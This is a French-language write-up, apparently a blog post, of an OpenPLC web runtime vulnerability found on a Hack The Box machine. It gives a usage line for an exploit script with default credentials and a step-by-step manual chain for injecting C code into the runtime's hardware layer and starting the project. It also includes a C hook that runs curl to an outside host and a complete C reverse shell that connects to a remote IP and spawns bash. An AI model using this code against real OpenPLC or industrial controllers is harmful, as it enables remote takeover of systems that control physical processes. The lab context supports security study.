
CVE rencontré en jouant sur une machine HTB, l'exploit sur exploit-db contient quelques erreurs, donc je fournis une méthode d'exploitation manuelle ainsi qu'un exploit.
Exécution de commande sans retour visible
python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami"
La chaîne d'attaque côté back-end est la suivante
Créer un projet ST et le compiler → Ajouter du code malveillant dans la section hardware, puis le compiler dans le projet → Démarrer le projet pour déclencher le code malveillant
demo.st
PROGRAM prog0
VAR
var_in : BOOL;
var_out : BOOL;
END_VAR
var_out := var_in;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK Main(INTERVAL := T#50ms,PRIORITY := 0);
PROGRAM Inst0 WITH Main : prog0;
END_RESOURCE
END_CONFIGURATION
Basé sur le modèle fourni par le back-end, j'ai ajouté un fichier C avec du code malveillant
#include "ladder.h"
#include<stdlib.h>
//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
// int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
// int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
system("curl http://10.10.16.14:8000");
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
// Example Code - Overwritting %IW3 with a fixed value
// If you want to have %IW3 constantly reading a fixed value (for example, 53)
// you must add %IW3 to the ignored vectors above, and then just insert this
// single line of code in this function:
// if (int_input[3] != NULL) *int_input[3] = 53;
}
//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
// Example Code - Sending %QW5 value over I2C
// If you want to have %QW5 output to be sent over I2C instead of the
// traditional output for your board, all you have to do is, first add
// %QW5 to the ignored vectors, and then define a send_over_i2c()
// function for your platform. Finally you can call send_over_i2c() to
// send your %QW5 value, like this:
// if (int_output[5] != NULL) send_over_i2c(*int_output[5]);
//
// Important observation: If your I2C pins are used by OpenPLC I/Os, you
// must also add those I/Os to the ignored vectors, otherwise OpenPLC
// will try to control your I2C pins and your I2C message won't work.
}
Télécharger le fichier .st pour créer un nouveau projet
Cliquer sur le bouton « upload » pour commencer la compilation
Il faut que la compilation du projet réussisse avant de pouvoir exécuter l'étape suivante de l'attaque.
Injecter le code malveillant dans la section hardware
Cliquer sur le bouton « Save » en bas, le code sera compilé dans le projet.
Après une compilation réussie, cliquer sur le bouton « Start » pour exécuter le code malveillant.
Réception réussie du retour
Reverse shell
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer()
{
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.14");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"bash", NULL};
execvp("bash", argv);
}
void updateCustomIn()
{
}
void updateCustomOut()
{
}